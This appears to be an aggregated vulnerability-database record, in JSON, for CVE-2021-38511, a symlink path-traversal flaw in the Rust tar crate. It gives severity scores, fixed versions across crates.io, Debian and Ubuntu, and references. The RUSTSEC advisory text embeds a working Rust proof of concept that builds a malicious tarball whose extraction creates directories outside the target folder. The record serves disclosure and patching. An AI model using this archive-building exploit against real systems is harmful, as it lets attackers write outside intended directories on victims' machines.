{"id":"CVE-2021-38511","aliases":["DEBIAN-CVE-2021-38511","EUVD-2021-1587","GHSA-62jx-8vmh-4mcw","RUSTSEC-2021-0080","UBUNTU-CVE-2021-38511"],"status":"published","title":"Links in archive can create arbitrary directories","description":"An issue was discovered in the tar crate before 0.4.36 for Rust. When symlinks are present in a TAR archive, extraction can create arbitrary directories via .. traversal.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high","assessor":"primary","from":"nvd"},"epss":{"day":"2026-11-11","score":0.01392,"percentile":0.72715,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22","CWE-59"],"published":"2021-07-19T12:00:00Z","modified":"2026-10-24T10:30:35Z","fixes":[{"ecosystem":"crates.io","package":"tar","fixed_in":["0.4.36"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:12","package":"rust-tar","fixed_in":["0.4.37-1"],"sources":["osv"]},{"ecosystem":"Debian:13","package":"rust-tar","fixed_in":["0.4.37-1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"rust-tar","fixed_in":["0.4.37-1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"crates.io","package":"tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.4.36"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"rust-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.4.37-1"}]}]},{"source":"osv","ecosystem":"Debian:13","package":"rust-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.4.37-1"}]}]},{"source":"osv","ecosystem":"Debian:14","package":"rust-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.4.37-1"}]}]},{"source":"osv","ecosystem":"crates.io","package":"tar","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.4.36"}]}]},{"source":"osv","ecosystem":"crates.io","package":"tar","ranges":[{"type":"SEMVER","events":[{"introduced":"0.0.0-0"},{"fixed":"0.4.36"}]}]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"rust-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.4.26-1","0.4.26-1ubuntu0.1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:22.04:LTS","package":"rust-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.4.26-1","0.4.37-1","0.4.37-3","0.4.37-3ubuntu0.1~esm1","0.4.37-3ubuntu0.1","0.4.37-3ubuntu0.1+esm1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"rust-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.4.38-2","0.4.40-1","0.4.40-1ubuntu0.1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"rust-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.4.43-4","0.4.43-4ubuntu0.1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"rust-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.4.45-1","0.4.45-2"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"rust-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.4.43-4","0.4.44-1","0.4.45-1"]}],"products":[{"vendor":"tar_project","product":"tar"}],"references":[{"url":"https://rustsec.org/advisories/RUSTSEC-2021-0080.html","tags":["x_refsource_MISC","x_transferred","Exploit","Third Party Advisory","evidence","web","advisory","report"]},{"url":"https://raw.githubusercontent.com/rustsec/advisory-db/main/crates/tar/RUSTSEC-2021-0080.md","tags":["x_refsource_MISC","x_transferred","Exploit","Third Party Advisory","evidence","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2021-38511","tags":["advisory"]},{"url":"https://github.com/alexcrichton/tar-rs/issues/238","tags":["web","report"]},{"url":"https://github.com/alexcrichton/tar-rs/pull/259","tags":["web"]},{"url":"https://github.com/advisories/GHSA-62jx-8vmh-4mcw"},{"url":"https://security-tracker.debian.org/tracker/CVE-2021-38511","tags":["advisory"]},{"url":"https://github.com/alexcrichton/tar-rs","tags":["package"]},{"url":"https://crates.io/crates/tar","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2021-38511","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2021-38511","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2021-38511","description":"An issue was discovered in the tar crate before 0.4.36 for Rust. When symlinks are present in a TAR archive, extraction can create arbitrary directories via .. traversal.","status":"published","published":"2021-08-10T22:12:46Z","modified":"2024-08-04T01:44:23.549Z","updated_at":"2026-11-02T14:33:07.349244Z"}],"euvd":[{"id":"EUVD-2021-1587","description":"An issue was discovered in the tar crate before 0.4.36 for Rust. When symlinks are present in a TAR archive, extraction can create arbitrary directories via .. traversal.","status":"published","published":"2021-08-10T22:12:46Z","modified":"2024-08-04T01:44:23Z","updated_at":"2026-11-03T03:24:24.781045Z"}],"ghsa":[{"id":"GHSA-62jx-8vmh-4mcw","title":"Links in archive can create arbitrary directories","description":"When unpacking a tarball that contains a symlink the tar crate may create directories outside of the directory it's supposed to unpack into. The function errors when it's trying to create a file, but the folders are already created at this point.","status":"published","published":"2021-08-25T20:58:23Z","modified":"2023-06-13T22:04:08Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:36:54.225318Z"}],"nvd":[{"id":"CVE-2021-38511","description":"An issue was discovered in the tar crate before 0.4.36 for Rust. When symlinks are present in a TAR archive, extraction can create arbitrary directories via .. traversal.","status":"published","published":"2021-08-10T23:15:07.237Z","modified":"2026-06-17T04:02:15.5Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high","assessor":"primary"},{"version":"2.0","score":5,"vector":"AV:N/AC:L/Au:N/C:N/I:P/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-59"],"updated_at":"2026-11-02T14:06:56.943671Z"}],"osv":[{"id":"CVE-2021-38511","description":"An issue was discovered in the tar crate before 0.4.36 for Rust. When symlinks are present in a TAR archive, extraction can create arbitrary directories via .. traversal.","status":"published","published":"2021-08-10T23:15:07.237Z","modified":"2026-10-24T10:30:35.679895415Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T15:44:20.843843Z"},{"id":"DEBIAN-CVE-2021-38511","description":"An issue was discovered in the tar crate before 0.4.36 for Rust. When symlinks are present in a TAR archive, extraction can create arbitrary directories via .. traversal.","status":"published","published":"2021-08-10T23:15:07.237Z","modified":"2026-10-23T18:03:32.279367815Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T15:45:35.521549Z"},{"id":"GHSA-62jx-8vmh-4mcw","title":"Links in archive can create arbitrary directories","description":"When unpacking a tarball that contains a symlink the tar crate may create directories outside of the directory it's supposed to unpack into. The function errors when it's trying to create a file, but the folders are already created at this point.","status":"published","published":"2021-08-25T20:58:23Z","modified":"2023-11-08T04:06:27.878399Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:38.911014Z"},{"id":"RUSTSEC-2021-0080","title":"Links in archive can create arbitrary directories","description":"When unpacking a tarball that contains a symlink the `tar` crate may create\ndirectories outside of the directory it's supposed to unpack into.\n\nThe function errors when it's trying to create a file, but the folders are\nalready created at this point.\n\n```rust\nuse std::{io, io::Result};\nuse tar::{Archive, Builder, EntryType, Header};\n\nfn main() -\u003e Result\u003c()\u003e {\n    let mut buf = Vec::new();\n\n    {\n        let mut builder = Builder::new(\u0026mut buf);\n\n        // symlink: parent -\u003e ..\n        let mut header = Header::new_gnu();\n        header.set_path(\"symlink\")?;\n        header.set_link_name(\"..\")?;\n        header.set_entry_type(EntryType::Symlink);\n        header.set_size(0);\n        header.set_cksum();\n        builder.append(\u0026header, io::empty())?;\n\n        // file: symlink/exploit/foo/bar\n        let mut header = Header::new_gnu();\n        header.set_path(\"symlink/exploit/foo/bar\")?;\n        header.set_size(0);\n        header.set_cksum();\n        builder.append(\u0026header, io::empty())?;\n\n        builder.finish()?;\n    };\n\n    Archive::new(\u0026*buf).unpack(\"demo\")\n}\n```\n\nThis has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is\npublished as `tar` 0.4.36. Thanks to Martin Michaelis ([@mgjm](https://github.com/mgjm)) for\ndiscovering and reporting this, and Nikhil Benesch ([@benesch](https://github.com/benesch)) for\nthe fix!","status":"published","published":"2021-07-19T12:00:00Z","modified":"2026-07-17T16:00:04.671427235Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T15:53:39.492624Z"},{"id":"UBUNTU-CVE-2021-38511","description":"An issue was discovered in the tar crate before 0.4.36 for Rust. When symlinks are present in a TAR archive, extraction can create arbitrary directories via .. traversal.","status":"published","published":"2021-08-10T23:15:00Z","modified":"2026-10-17T12:57:14.699752154Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T15:54:28.526929Z"}]}}